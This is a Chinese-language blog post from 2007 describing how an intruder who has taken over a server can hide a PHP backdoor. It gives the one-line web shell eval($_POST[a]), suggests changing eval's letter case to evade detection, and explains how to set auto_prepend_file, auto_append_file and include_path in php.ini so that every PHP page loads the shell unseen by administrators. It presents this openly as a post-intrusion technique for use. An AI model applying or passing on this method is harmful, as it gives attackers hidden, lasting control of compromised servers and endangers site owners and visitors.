PHP后门隐藏技术再探

    [晴 May 19, 2007 15:47 | by ]
作者:lis0
来源:lis0's Blog
PS:很巧妙的一个方法..
测试环境:Apache/2.0.49 (Win32) PHP/4.3.1+Winxp sp2
最近在看完了一个程序的代码后又重新温习了PHP中文手册, 在看的过程中突然想到了一个隐藏后门的方法,拿来给大家分享下 嘿嘿:) 在入侵服务器后如何能将后门做到不被管理员大叔发现这是很重要的。因此就出现了各种隐藏的方法,对于php来说大多是插入<?eval($_POST[a]);? >或者include()函数隐藏然后修改文件时间等等。网上多的很我就不在这罗嗦了。
在我们取得一个服务器的最高权限后我们可以通过修改服务器的配置文件php.ini来达到我们隐藏后门的目的。修改系统目录下面的php.ini文件。在php.ini文件第395-397和第420-424一段
图1 图2


根据手册中关于auto_prepend_file和auto_append_file数据处理配置选项可以看出默认条件下是为空的null 而且是e文解释为Automatically add files before or after any PHP document.不用我翻译了吧。如果我们将eval()函数的后门配置到php.ini文件里那么网站上所有的PHP文件将都会被include我们的后门。嘿嘿 当然是不可见的只是在解析的时候才include,当然管理员大叔也是发现不了的。因为后门已经隐藏看都看不到。
经过测试发现我们需要修改的php.ini配置文件的2个地方。如图3 图4


第1步:
在图3中修改设置添加我们eval()函数的后门的文件名,后门文件的名字一定要特别不能用index.php或者 config.php等网站上可能用到的文件名。可以都添上也可以添一个。在此建议后门文件就用<?eVal($_POST[a]);?> 最好将eval()函数大小写变化下。
第2步:
看是什么系统如果是win那么就修改423-424 在此一定要注意
默认的配置几乎和php自带的没有任何改动
include_path = ".;c:\php\includes" 前面的 "."代表/目录 而";"后面的目录代表Automatically add files所有include文件的目录 。因此我们要配置隐藏后门要修改为
include_path = "d:\php\sapi;." 我们所要include的文件目录放在根目录的前边。不然的话apache会在根目录下搜索我们的后门(当然是没有了从而导致服务器解析php文件失败),作为配置文件当然要把include_path前面的";"去掉才能生效。然后重起服务就可以了。下面看看我们隐藏的后门运行的情况 图5

真是杀人于无形啊 所有服务器网站下面的php文件都可以被我们当作后门哦 嘿嘿 ! 关于其他环境的测试 在iis5.0 6.0测试通过。根据我个人看法只要服务器支持php解析此法应该都可以测试成功。
后记:
关于利用php.ini配置文件来做后门当然也可以用来做点其他的东西,比如:include的文件中如果是一个网页木马的网站呢或者是我们可以写一个严格过滤恶意用户提交的非法字符等等。就看你怎么用了 好了就到这吧
Tags: , ,
Technology | Comments(0) | Trackbacks(0) | Reads(9569)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive